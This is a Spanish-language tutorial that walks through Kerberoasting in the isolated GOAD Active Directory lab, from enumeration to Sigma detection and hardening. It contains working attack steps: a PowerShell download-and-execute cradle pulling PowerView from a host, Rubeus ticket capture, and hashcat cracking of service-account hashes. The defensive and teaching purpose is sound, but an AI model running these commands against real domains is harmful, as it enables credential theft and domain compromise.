Pentest de Active Directory: Kerberoasting Paso a Paso en Lab GOAD
Reproduccion etica de Kerberoasting en Game of Active Directory con captura de TGS, crackeo offline y deteccion via Event ID 4769.
Kerberoasting sigue matando dominios en 2026 porque los equipos crean Service Accounts con contrasenas debiles y SPNs registrados en DCs sin MFA reforzada. En nuestro lab Game of Active Directory (GOAD v3), tardamos unos 14 minutos desde el shell inicial en una maquina del dominio sevenkingdoms.local hasta romper la contrasena de un service account de SQL Server con hashcat corriendo en una RTX 4070. Este post documenta el paso a paso completo, desde la enumeracion con PowerView hasta la regla Sigma que detecta el ataque en el ELK del Blue Team. Todo en ambiente aislado, con snapshot activo y sin tocar produccion ajena.
Antes de tocar GOAD, recomiendo replicar el setup descrito en Pentest Web desde Cero: Montando un Lab Seguro con DVWA, Juice Shop y Burp Suite para entender como segmentar la red del lab, y revisar OPSEC para Investigadores de Seguridad: Modelo de Amenaza Personal para no dejar artefactos saliendo de tu estacion. Nuestro GOAD corre en tres VMs con 6 GB de RAM cada una (DC01, DC02 y SRV02), mas un Kali con 8 GB exclusivo en la vmnet9. Usa el Ansible oficial de Mayfly277, aprovisiona en unos 45 minutos en una maquina decente. Confirma que el firewall de Windows este permisivo internamente, sino vas a debuggear problemas de RPC en vez de estudiar Kerberos.
La enumeracion empieza despues del initial access. Supongamos que ya conseguiste credenciales low-priv via tecnicas cubiertas en Initial Access Simulado: Macros, LNK e ISO en un Lab Windows 11 Aislado, en nuestro caso jaime.lannister:cersei. Cargamos PowerView.ps1 con `IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/PowerView.ps1')` y disparamos `Get-DomainUser -SPN | select samaccountname, serviceprincipalname`. Aparecen tres cuentas: sqlsvc, httpsvc y backupsvc. El target natural es sqlsvc, porque los service accounts MSSQL frecuentemente nacieron con contrasenas cortas en scripts de instalacion de 2018. Rubeus.exe es nuestra herramienta de captura: `Rubeus.exe kerberoast /nowrap /outfile:hashes.txt /user:sqlsvc`.
El TGS retornado viene cifrado con el hash NTLM de la contrasena del service account, codificado como RC4-HMAC (etype 23) en la mayoria de labs y lamentablemente en mucha produccion. Toma el archivo hashes.txt, transfierelo al Kali via SMB o curl, y mandalo a hashcat con `hashcat -m 13100 hashes.txt rockyou.txt -r rules/best64.rule`. En 2 minutos y 11 segundos la contrasena SQLSvc@2018 cayo. Si quieres jugar con listas mayores, OneRuleToRuleThemStill funciona bien, pero empieza por lo basico. Para correlacionar con tecnicas relacionadas en AD, mira Movimiento Lateral en Lab: SMB, WMI y WinRM con Foco en Deteccion y especialmente Persistencia en Windows: 10 Tecnicas Documentadas y sus Contramedidas despues de esta etapa.
Del lado Blue Team, Kerberoasting no es silencioso cuando sabes donde mirar. El Event ID 4769 en el DC registra cada Service Ticket emitido, y el campo Ticket Encryption Type igual a 0x17 (RC4) ya es amarillo en ambientes modernos con AES habilitado. La regla Sigma que escribi mira para 4769 con TicketEncryption 0x17 O 0x18, agrupa por usuario fuente en ventana de 60 segundos, y dispara con >=5 SPNs distintos solicitados. Esto elimina ruido de aplicaciones legitimas. Para mas sobre instrumentacion, Threat Hunting con Sigma y Elastic: Del Indicador a la Regla de Deteccion muestra como levantar ese pipeline con Filebeat y Elastic, y Hunting de Living-off-the-Land Binaries en Windows con KQL cubre detecciones adyacentes para Defender for Identity.
La mitigacion practica es en capas. Primero, migra toda service account a Group Managed Service Accounts (gMSA) con rotacion automatica de 30 dias, eliminando la ventana util de crack offline. Segundo, fuerza AES256_HMAC_SHA1 deshabilitando RC4 en msDS-SupportedEncryptionTypes de la cuenta, valor 0x18. Tercero, audita con `Get-ADUser -Filter {ServicePrincipalName -ne $null} -Properties PasswordLastSet, msDS-SupportedEncryptionTypes` mensualmente y marca cualquier cuenta con contrasena > 90 dias. Cuarto, activa Protected Users Group para cuentas administrativas que tengan SPN. Para hardening complementario del dominio, Hardening de Windows 11 para Estaciones de Trabajo de Alto Riesgo cubre la estacion del administrador.
Takeaway practico: monta hoy una alerta en tu SIEM que dispare cuando una sola cuenta solicite mas de 4 Service Tickets RC4 distintos en 5 minutos, y cruzala con lista blanca de service accounts esperadas. Cuesta dos horas de trabajo y habria atrapado 8 de cada 10 ataques reales de Kerberoasting que aparecieron en reportes de IR publicos en 2025. Documenta el playbook, entrena al equipo con el GOAD reproducido localmente, y revisita la postura cada vez que se cree un SPN nuevo en el dominio. Sin eso, tu proximo dolor de cabeza puede venir exactamente de ese vector.